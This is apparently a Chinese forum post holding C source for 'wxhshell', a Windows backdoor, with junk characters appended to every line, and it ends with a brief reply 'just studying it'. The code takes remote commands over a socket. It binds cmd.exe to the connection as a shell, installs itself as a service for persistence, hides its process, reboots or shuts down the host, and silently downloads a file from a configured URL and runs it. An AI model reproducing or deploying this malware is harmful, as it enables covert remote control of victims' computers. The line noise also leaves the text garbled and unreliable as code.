  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0es\ j6c  
  else _j*a5fsPU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tns4e\  
  } /6Kx249Dw  
  else { DPkH:X  
,b:~Vpb1I  
    switch(cmd[0]) {  `fE'$2  
  i1K$~  
  // 帮助 f`iDF+h<6  
  case '?': { !JBj%|!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q8HnPXV  
    break; d5`D[,]d  
  } X|aD>CT  
  // 安装 S|fb'  
  case 'i': { biS{.  
    if(Install()) csA-<}S5]b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @1i<=r  
    else Ro;I%j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mW~*GD~r  
    break; s~ou$!|  
    } 6  $`l  
  // 卸载 ErgWsAw-  
  case 'r': { sLWVgD  
    if(Uninstall()) HA[7)T N1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (/E@.z[1  
    else 0\, !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4K 8(H9(  
    break; yMC6 Gvp  
    } s5V|.R  
  // 显示 wxhshell 所在路径 D/=k9[b!  
  case 'p': { a}iP +#;  
    char svExeFile[MAX_PATH]; zFQm3!.  
    strcpy(svExeFile,"\n\r"); Zy.3yQM9i  
      strcat(svExeFile,ExeFile); B*9?mcP\  
        send(wsh,svExeFile,strlen(svExeFile),0); u\"/EaQ{  
    break; `2]TPaWGh  
    } 9aX!<Z  
  // 重启 #$]8WSl  
  case 'b': { ou{V/?rb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :, 3S5!(y  
    if(Boot(REBOOT)) T^{=cx9x9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dK;ebg9|  
    else { LIKQQ  
    closesocket(wsh); nPDoK!r'  
    ExitThread(0); -<sW`HpD'  
    } yYP>3]z  
    break; c&Eva  
    } C XNYWx  
  // 关机 -w f>N:  
  case 'd': { MTq/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rU(-R@["  
    if(Boot(SHUTDOWN)) l%p,m [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i52JY&N  
    else { jfVw{\l  
    closesocket(wsh); sk*vmxClY  
    ExitThread(0); i|xz  
    } `sg W0Uf  
    break; nwzyL`kF  
    } ))nTd=  
  // 获取shell Cs\jPh;"  
  case 's': { dpX Fx"4A  
    CmdShell(wsh); ru~!;xT  
    closesocket(wsh); )3<>H!yG}  
    ExitThread(0); !R gj'{  
    break; mD|Q+~=|e  
  } dK0H.|  
  // 退出 _'<FBlIN  
  case 'x': { e{3%-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >&k`NXS|V  
    CloseIt(wsh); $=`d[04  
    break; - P "  
    } (;H% r &  
  // 离开 LFZ*mRiuKE  
  case 'q': { _^`V0>Mh:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PS=q):R|  
    closesocket(wsh); z`NJelcuz\  
    WSACleanup(); Z3=N= xY]  
    exit(1); Wyow MFp  
    break; 7#Uzz"^  
        } Mvp|S.  
  } jc\y{I\  
  } 'Sesh'2 /  
X?;iSekI4  
  // 提示信息 C\OZs%]At  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KD\sU6  
} V DZOJM)(  
  } ]EUQMyR  
vp9wRGd  
  return; tR2%oT>h  
} }`!-WY  
ruyQ}b:zS  
// shell模块句柄 mNEh\4ai  
int CmdShell(SOCKET sock) O%6D2d  
{ u} +?'B)  
STARTUPINFO si; FvO,* r9  
ZeroMemory(&si,sizeof(si)); Oi]B%Uxy=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jr= fc*f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [LUqF?K&  
PROCESS_INFORMATION ProcessInfo; *B84Y.df  
char cmdline[]="cmd"; M*C1QQf\N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MmePhHf  
  return 0; a.RYRq4o  
} g#Ta03\  
y y[Y=  
// 自身启动模式 YU!s;h  
int StartFromService(void) BjA$^i|8  
{ SXN]${  
typedef struct @1<VvW=  
{ 0\s&;@xKk  
  DWORD ExitStatus; ^,)nuU y  
  DWORD PebBaseAddress; da_0{;wR  
  DWORD AffinityMask; 7+IRI|d  
  DWORD BasePriority; 9\T9pjdZE  
  ULONG UniqueProcessId; M4CC&?6\  
  ULONG InheritedFromUniqueProcessId; ^dsj1#3z  
}   PROCESS_BASIC_INFORMATION; ]ms+ Va_/  
Bu+?N%CBi  
PROCNTQSIP NtQueryInformationProcess; L6;'V5Mg72  
L GVy4D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wZW\r!Us  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F?0Q AA  
y$_]}<b  
  HANDLE             hProcess;  WK@<#  
  PROCESS_BASIC_INFORMATION pbi; }T AG7U*  
pd & HC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R@/"B?`(f  
  if(NULL == hInst ) return 0; >3&V"^r(|  
e&Q w\Ze  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WwWCN N~}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D*?LcxX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G;/l[mvh,  
 M%W#0  
  if (!NtQueryInformationProcess) return 0; 7s!rer>  
AT1{D!b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;:+2.//  
  if(!hProcess) return 0; n}fV$qu  
yy&L&v'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kHhku!CH  
^U96p0H"T  
  CloseHandle(hProcess); I0=L_&`)  
oA7|s1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N 7Y X  
if(hProcess==NULL) return 0;  Zy8tI#  
5zkj ;?s  
HMODULE hMod; mZmEE2h  
char procName[255]; %6m' |(-  
unsigned long cbNeeded; Dl AwB1Ak  
KaH e(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C*B5"s"  
*K@O3n   
  CloseHandle(hProcess); <RY!Mc  
v&3" (fp  
if(strstr(procName,"services")) return 1; // 以服务启动 (I'{ pF)  
0>]&9'cn  
  return 0; // 注册表启动 u47`&\  
} ,8d&uR}x  
64`l?F  
// 主模块 |"9vq<`  
int StartWxhshell(LPSTR lpCmdLine) E AKW^'D  
{ C3~~h|:  
  SOCKET wsl; "a33m:]J  
BOOL val=TRUE; YI> xxWA  
  int port=0; LU`)  
  struct sockaddr_in door; Fp [49  
]gm3|-EiY  
  if(wscfg.ws_autoins) Install(); G"kX#k0S  
Q~k|lTf  
port=atoi(lpCmdLine); }9#GJ:x`  
8bO+[" c  
if(port<=0) port=wscfg.ws_port; m}zXy\  
a? PH`5O  
  WSADATA data; aGsO~ODc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s{V&vRr  
a|#pl!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1 XJZuv,T:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [7[Qw]J  
  door.sin_family = AF_INET; pF8:?p['z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); * LWihal  
  door.sin_port = htons(port); p>:.js5.a  
4;gw&sFF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ggYi7Wzsd  
closesocket(wsl); F M YcZ+4  
return 1; =MD)F  
} PxvxZJf$@  
e^\#DDm  
  if(listen(wsl,2) == INVALID_SOCKET) { `w8cV ?  
closesocket(wsl); b9 li   
return 1; <w8H[y"c  
} ImH9 F\  
  Wxhshell(wsl); N2k{@DY  
  WSACleanup(); A )CsF  
,1lW`Krx  
return 0; '&K' 0qG  
QMrH%Y  
} E?|NYu#I6  
\u[5O@v#  
// 以NT服务方式启动 !8W0XUqh+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CRrEs 18;#  
{ IB 4L(n1  
DWORD   status = 0; >9#) obw  
  DWORD   specificError = 0xfffffff; =?wDQ:  
QR8]d1+GV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nGc'xQy0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PU B0H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )J+rt^4|  
  serviceStatus.dwWin32ExitCode     = 0; 7Q~W}`Qv'  
  serviceStatus.dwServiceSpecificExitCode = 0; T2)CiR-b  
  serviceStatus.dwCheckPoint       = 0; Us pv^O9_  
  serviceStatus.dwWaitHint       = 0; {TMng&  
|E||e10wR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uGW#z_{(n  
  if (hServiceStatusHandle==0) return; B> \q!dX3  
0oBAJP  
status = GetLastError(); xXmlHo<D  
  if (status!=NO_ERROR) NiE`u m  
{ _ D8 zKp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;p fN  
    serviceStatus.dwCheckPoint       = 0; FYefn3b  
    serviceStatus.dwWaitHint       = 0; .'2I9P\!  
    serviceStatus.dwWin32ExitCode     = status; x;~@T9.  
    serviceStatus.dwServiceSpecificExitCode = specificError; AE`{k-3=%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qm"~XP  
    return; l 6aD3?8LN  
  } rwh 4/h^S  
>qO l1]uF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f><V;D#  
  serviceStatus.dwCheckPoint       = 0; v@s"*E/PF7  
  serviceStatus.dwWaitHint       = 0; `022gHYv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T-kHk(  
} w-v8 P`V  
REi"Aj=  
// 处理NT服务事件,比如:启动、停止 CD^@*jH9"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '@\[U0?@K  
{ US9@/V*2  
switch(fdwControl)  w+5OI9  
{ iXXaB +w  
case SERVICE_CONTROL_STOP: Xq ew~R^MP  
  serviceStatus.dwWin32ExitCode = 0; jO*H8 XO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qx!Bf_,J  
  serviceStatus.dwCheckPoint   = 0; Y(EF )::  
  serviceStatus.dwWaitHint     = 0; FJ?]|S.?,  
  { <veypLi"R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 EA$<n(A-  
  } {CVZ7tU7]  
  return; C$LRX7Z`o  
case SERVICE_CONTROL_PAUSE: X9^q-3&60  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bmKvvq  
  break; k][{4~z  
case SERVICE_CONTROL_CONTINUE: r8czDc),b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ybv< 1  
  break; n%~r^ C_  
case SERVICE_CONTROL_INTERROGATE: ?G]yU  
  break; #,})N*7  
}; gQY`qz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ |HA\!  
} $`0,N_C<}  
M;KeY[u  
// 标准应用程序主函数 u3 &# UN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K!E\v4  
{ 2@HmZ!|Q  
Nr]guC?rE  
// 获取操作系统版本 wZ `{ i  
OsIsNt=GetOsVer(); [kgCB7.V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H&k&mRi  
,MHF  
  // 从命令行安装 o`'4EVw*  
  if(strpbrk(lpCmdLine,"iI")) Install(); I\j-  
w&]$!g4  
  // 下载执行文件 `7V1 F.\  
if(wscfg.ws_downexe) { >^<;;8Xh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i-dosY`81  
  WinExec(wscfg.ws_filenam,SW_HIDE); YX3NZW2i  
} BuC\Bd^0  
L"jjD:  
if(!OsIsNt) { r]~]-VZ/  
// 如果时win9x,隐藏进程并且设置为注册表启动 s(L!]d.S$y  
HideProc(); As tuM]  
StartWxhshell(lpCmdLine); 7W&XcF  
} #X'su`+  
else 3qV\XC+  
  if(StartFromService()) Z*NTF:6c  
  // 以服务方式启动 9 uX 15a  
  StartServiceCtrlDispatcher(DispatchTable); Hf30ve}  
else uo|:n"v  
  // 普通方式启动 Y[>`#RhP  
  StartWxhshell(lpCmdLine); 4)L};B=  
PBiA/dG[;  
return 0; 6bf!v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五